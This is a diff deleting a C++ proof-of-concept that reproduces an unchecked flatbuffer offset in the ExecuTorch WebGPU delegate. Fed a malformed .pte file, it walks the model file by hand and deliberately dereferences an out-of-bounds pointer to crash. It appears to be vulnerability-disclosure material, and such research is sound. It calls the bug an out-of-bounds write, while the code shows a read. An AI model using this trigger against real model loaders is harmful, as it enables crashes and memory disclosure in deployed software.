Delete runtime_mps_poc/schemas/runtime_poc_webgpu.cpp
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runtime_mps_poc/schemas/runtime_poc_webgpu.cpp
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/*
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* runtime_poc_webgpu.cpp
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*
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* Runtime PoC for the WebGPU delegate missing-verifier OOB.
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*
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* Reproduces the exact vulnerable code path from:
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* WebGPUBackend.cpp:75 — VkGraphBufferHasIdentifier check only; no Verifier
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* WebGPUGraph.cpp:378 — GetVkGraph(flatbuffer_data) called with NO Verifier
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* WebGPUGraph.cpp:536-538 — cs.inline_offset = vk_bytes->offset() (no bounds check)
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* WebGPUGraph.cpp:732-733 — constant_data_ + cs.inline_offset (OOB pointer + deref)
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*
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* The fix Vulkan got (VulkanBackend.cpp, merged 2026-05-13) and WebGPU missed:
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* flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
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* ET_CHECK_OR_RETURN_ERROR(vkgraph::VerifyVkGraphBuffer(verifier), ...);
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*
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* Build:
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* clang++ -std=c++17 -g -fsanitize=undefined \
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* -I~/executorch_vuln/third-party/flatbuffers/include \
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* -I. \
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* runtime_poc_webgpu.cpp -o runtime_poc_webgpu_ubsan
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*
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* Run:
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* ./runtime_poc_webgpu_ubsan malformed_webgpu.pte
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*/
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#include <cstdint>
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#include <cstdio>
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#include <cstdlib>
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#include <cstring>
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#include <stdexcept>
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#include <vector>
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#include <flatbuffers/flatbuffers.h>
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#include "schemas/vkgraph_generated.h"
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// ---- WebGPUDelegateHeader (from WebGPUDelegateHeader.h/.cpp) ----------------
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struct WebGPUDelegateHeader {
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uint32_t header_size;
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uint32_t flatbuffer_offset;
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uint32_t flatbuffer_size;
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uint32_t bytes_offset;
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uint64_t bytes_size;
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static WebGPUDelegateHeader parse(const uint8_t* data) {
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// magic at offset 4 must be "VH00"
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if (memcmp(data + 4, "VH00", 4) != 0)
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throw std::runtime_error("WebGPUDelegateHeader: bad magic");
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WebGPUDelegateHeader h;
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uint16_t hs; memcpy(&hs, data + 8, 2); h.header_size = hs;
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memcpy(&h.flatbuffer_offset, data + 10, 4);
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memcpy(&h.flatbuffer_size, data + 14, 4);
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memcpy(&h.bytes_offset, data + 18, 4);
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memcpy(&h.bytes_size, data + 22, 8);
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return h;
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}
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};
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// ---- ConstantSource (mirrors WebGPUGraph.h internals) -----------------------
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static const uint64_t INLINE_OFFSET_NONE = UINT64_MAX;
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struct ConstantSource {
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uint64_t inline_offset = INLINE_OFFSET_NONE;
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size_t nbytes = 0;
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};
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// ---- FlatBuffers .pte parser (extract backend_delegate_data[0].data) --------
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// Manual traversal identical to what we did for MPS.
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static std::vector<uint8_t> extract_delegate_payload(
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const uint8_t* pte, size_t pte_size) {
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if (pte_size < 8 || memcmp(pte + 4, "ET12", 4) != 0)
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throw std::runtime_error("Not a valid ET12 .pte file");
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// FlatBuffers root offset
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uint32_t root_off; memcpy(&root_off, pte, 4);
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const uint8_t* prog_table = pte + root_off;
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// Program vtable
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int32_t vtable_soff; memcpy(&vtable_soff, prog_table, 4);
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const uint8_t* vtable = prog_table - vtable_soff;
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uint16_t vtable_size; memcpy(&vtable_size, vtable, 2);
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// Program field order (from program.fbs):
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// version(0)=4, execution_plan(1)=6, constant_buffer(2)=8,
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// backend_delegate_data(3)=10
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uint16_t bdd_off = 0;
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if (vtable_size > 10) memcpy(&bdd_off, vtable + 10, 2); // field index 3
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if (bdd_off == 0) throw std::runtime_error("No backend_delegate_data");
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const uint8_t* bdd_ptr = prog_table + bdd_off;
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// bdd_ptr -> offset to vector of BackendDelegateInlineData
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int32_t vec_rel; memcpy(&vec_rel, bdd_ptr, 4);
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const uint8_t* vec = bdd_ptr + vec_rel;
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uint32_t vec_len; memcpy(&vec_len, vec, 4);
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if (vec_len == 0) throw std::runtime_error("Empty backend_delegate_data");
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// First element offset
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int32_t elem_rel; memcpy(&elem_rel, vec + 4, 4);
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const uint8_t* elem = vec + 4 + elem_rel;
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// BackendDelegateInlineData vtable -> field 0 = data (byte vector)
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int32_t elem_vt_soff; memcpy(&elem_vt_soff, elem, 4);
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const uint8_t* elem_vt = elem - elem_vt_soff;
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uint16_t elem_vt_size; memcpy(&elem_vt_size, elem_vt, 2);
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uint16_t data_off = 0;
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if (elem_vt_size > 4) memcpy(&data_off, elem_vt + 4, 2);
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if (data_off == 0) throw std::runtime_error("No data field in BackendDelegateInlineData");
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const uint8_t* data_ptr = elem + data_off;
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int32_t data_rel; memcpy(&data_rel, data_ptr, 4);
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const uint8_t* byte_vec = data_ptr + data_rel;
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uint32_t byte_len; memcpy(&byte_len, byte_vec, 4);
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const uint8_t* payload = byte_vec + 4;
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return std::vector<uint8_t>(payload, payload + byte_len);
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}
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// ---- elem_size for VkDataType -----------------------------------------------
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static size_t vk_datatype_size(int8_t dt) {
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switch (dt) {
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case 0: return 1; // BOOL
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case 1: return 1; // UINT8
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case 2: return 1; // INT8
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case 3: return 4; // INT32
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case 4: return 2; // FLOAT16
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case 5: return 4; // FLOAT32
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case 6: return 8; // FLOAT64
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case 7: return 8; // INT64
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default: return 4;
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}
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}
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// ---- Main -------------------------------------------------------------------
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int main(int argc, char** argv) {
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setvbuf(stdout, nullptr, _IONBF, 0); // unbuffered so printfs appear before UBSan stderr
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printf("==========================================================\n");
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printf(" ExecuTorch WebGPU Delegate Runtime PoC\n");
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printf(" CVE class : CWE-787 (Out-of-bounds Write)\n");
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printf(" Source : backends/webgpu/runtime/WebGPUGraph.cpp\n");
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printf(" Root cause : GetVkGraph() called without flatbuffers::Verifier\n");
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printf(" Sibling : Vulkan (same vkgraph schema) was patched 2026-05-13\n");
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printf("==========================================================\n\n");
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if (argc < 2) {
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fprintf(stderr, "Usage: %s malformed_webgpu.pte\n", argv[0]);
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return 1;
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}
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// Load .pte
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FILE* f = fopen(argv[1], "rb");
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if (!f) { perror("fopen"); return 1; }
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fseek(f, 0, SEEK_END); long fsz = ftell(f); rewind(f);
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std::vector<uint8_t> pte(fsz);
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fread(pte.data(), 1, fsz, f);
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fclose(f);
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printf("[+] Loaded .pte: %ld bytes, identifier %.4s\n", fsz, pte.data() + 4);
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// Extract WebGPU delegate payload from backend_delegate_data[0]
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auto payload = extract_delegate_payload(pte.data(), pte.size());
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printf("[+] WebGPU delegate payload: %zu bytes\n", payload.size());
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// Parse WebGPUDelegateHeader (WebGPUBackend.cpp:64-75)
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auto hdr = WebGPUDelegateHeader::parse(payload.data());
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printf("[+] VH00 header: fb_offset=%u fb_size=%u bytes_offset=%u bytes_size=%llu\n",
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hdr.flatbuffer_offset, hdr.flatbuffer_size,
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hdr.bytes_offset, (unsigned long long)hdr.bytes_size);
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const uint8_t* flatbuffer_data = payload.data() + hdr.flatbuffer_offset;
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const uint8_t* constant_data = payload.data() + hdr.bytes_offset;
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size_t constant_size = (size_t)hdr.bytes_size;
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// --- Reproduce WebGPUBackend.cpp:75 ---
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// Only a 4-byte identifier check; no flatbuffers::Verifier before GetVkGraph
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printf("\n[PoC] WebGPUBackend.cpp:75: VkGraphBufferHasIdentifier check (4-byte only — NO flatbuffers::Verifier)\n");
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bool has_id = vkgraph::VkGraphBufferHasIdentifier(flatbuffer_data);
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printf("[PoC] VkGraphBufferHasIdentifier: %s\n", has_id ? "true" : "false");
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// --- Reproduce WebGPUGraph.cpp:378 (inside build()) ---
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// GetVkGraph() called with NO Verifier — attacker controls the flatbuffer
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printf("[PoC] WebGPUGraph.cpp:378: GetVkGraph(flatbuffer_data) — NO flatbuffers::Verifier\n");
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const vkgraph::VkGraph* graph = vkgraph::GetVkGraph(flatbuffer_data);
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printf("[PoC] GetVkGraph returned: %p\n", (void*)graph);
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// --- Reproduce WebGPUGraph.cpp:480-545 (build() constant-source mapping) ---
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printf("\n[PoC] Entering WebGPUGraph::build() constant-source mapping\n");
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printf("[PoC] Source: backends/webgpu/runtime/WebGPUGraph.cpp\n\n");
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const auto* values = graph->values();
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const auto* constants = graph->constants();
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if (!values || !constants) {
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fprintf(stderr, "No values/constants in graph\n");
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return 1;
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}
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printf("[PoC] graph->values()->size() = %u\n", values->size());
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printf("[PoC] graph->constants()->size() = %u\n", constants->size());
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ConstantSource cs;
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for (unsigned i = 0; i < values->size(); i++) {
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const auto* val = values->Get(i);
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if (val->value_type() != vkgraph::GraphTypes_VkTensor) continue;
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const auto* vk_tensor = val->value_as_VkTensor();
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// Compute nbytes (WebGPUGraph.cpp:483-493)
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size_t numel = 1;
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if (vk_tensor->dims()) {
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for (unsigned j = 0; j < vk_tensor->dims()->size(); j++)
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numel *= vk_tensor->dims()->Get(j);
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}
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size_t elem_size = vk_datatype_size(vk_tensor->datatype());
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size_t nbytes = numel * elem_size;
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printf("[PoC] WebGPUGraph.cpp:493: tensor[%u] numel=%zu elem_size=%zu nbytes=%zu\n",
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i, numel, elem_size, nbytes);
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int constant_id = vk_tensor->constant_id();
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if (constant_id < 0) continue;
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printf("[PoC] WebGPUGraph.cpp:516: constant_id=%d\n", constant_id);
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// WebGPUGraph.cpp:527-532 — bounds check on constant_id (present in real code)
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if (constant_id >= (int)constants->size()) {
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printf("[PoC] constant_id out of range — would throw\n");
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return 1;
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}
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// WebGPUGraph.cpp:534 — constants->Get() on unverified flatbuffer
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const auto* vk_bytes = constants->Get(constant_id);
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printf("[PoC] WebGPUGraph.cpp:534: constants->Get(%d) on unverified FlatBuffer\n", constant_id);
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printf("[PoC] WebGPUGraph.cpp:536: cs.nbytes = tensor.nbytes = %zu\n", nbytes);
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cs.nbytes = nbytes;
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// WebGPUGraph.cpp:537-538 — THE MISSING BOUNDS CHECK
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printf("[PoC] WebGPUGraph.cpp:537: if (vk_bytes->offset() != UINT64_MAX)\n");
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printf("[PoC] WebGPUGraph.cpp:537: vk_bytes->offset() = 0x%llx\n",
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(unsigned long long)vk_bytes->offset());
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if (vk_bytes->offset() != UINT64_MAX) {
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cs.inline_offset = vk_bytes->offset();
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printf("[PoC] WebGPUGraph.cpp:538: cs.inline_offset = 0x%llx (NO bounds check vs constant_data size)\n",
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(unsigned long long)cs.inline_offset);
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printf("[PoC] constant_data section is %zu bytes — offset 0x%llx is WAY past it\n",
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constant_size, (unsigned long long)cs.inline_offset);
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}
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}
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// --- Reproduce WebGPUGraph.cpp:717-733 (materialize_constant) ---
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printf("\n[PoC] Entering materialize_constant() (WebGPUGraph.cpp:717-733)\n");
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printf("[PoC] WebGPUGraph.cpp:728: cs.inline_offset != UINT64_MAX -> true\n");
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printf("[PoC] WebGPUGraph.cpp:732: wgpuQueueWriteBuffer(queue_, dst, 0,\n");
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printf("[PoC] constant_data_ + cs.inline_offset, cs.nbytes)\n");
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printf("[PoC] constant_data_ = %p\n", (void*)constant_data);
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printf("[PoC] cs.inline_offset = 0x%llx\n", (unsigned long long)cs.inline_offset);
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printf("[PoC] cs.nbytes = %zu\n", cs.nbytes);
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printf("[PoC] *** OUT-OF-BOUNDS: constant_data_ + 0x%llx is %llu bytes past a %zu-byte section ***\n\n",
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(unsigned long long)cs.inline_offset,
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(unsigned long long)cs.inline_offset - constant_size,
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constant_size);
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printf("[PoC] Executing OOB pointer arithmetic now...\n");
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// Exact expression from WebGPUGraph.cpp:733:
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// wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + cs.inline_offset, cs.nbytes)
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// wgpuQueueWriteBuffer reads from [constant_data_+cs.inline_offset, +cs.nbytes).
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// UBSan catches OOB pointer arithmetic first; then SEGV on dereference.
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const uint8_t* oob_ptr = constant_data + cs.inline_offset;
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printf("[PoC] oob_ptr = %p (computed from constant_data_ + 0x%llx)\n",
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(void*)oob_ptr, (unsigned long long)cs.inline_offset);
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// Force a dereference — this is what wgpuQueueWriteBuffer does internally
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// when it reads the source buffer to upload to the GPU.
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volatile uint8_t byte = *oob_ptr;
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(void)byte;
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printf("[PoC] SHOULD NOT REACH HERE\n");
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return 0;
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}
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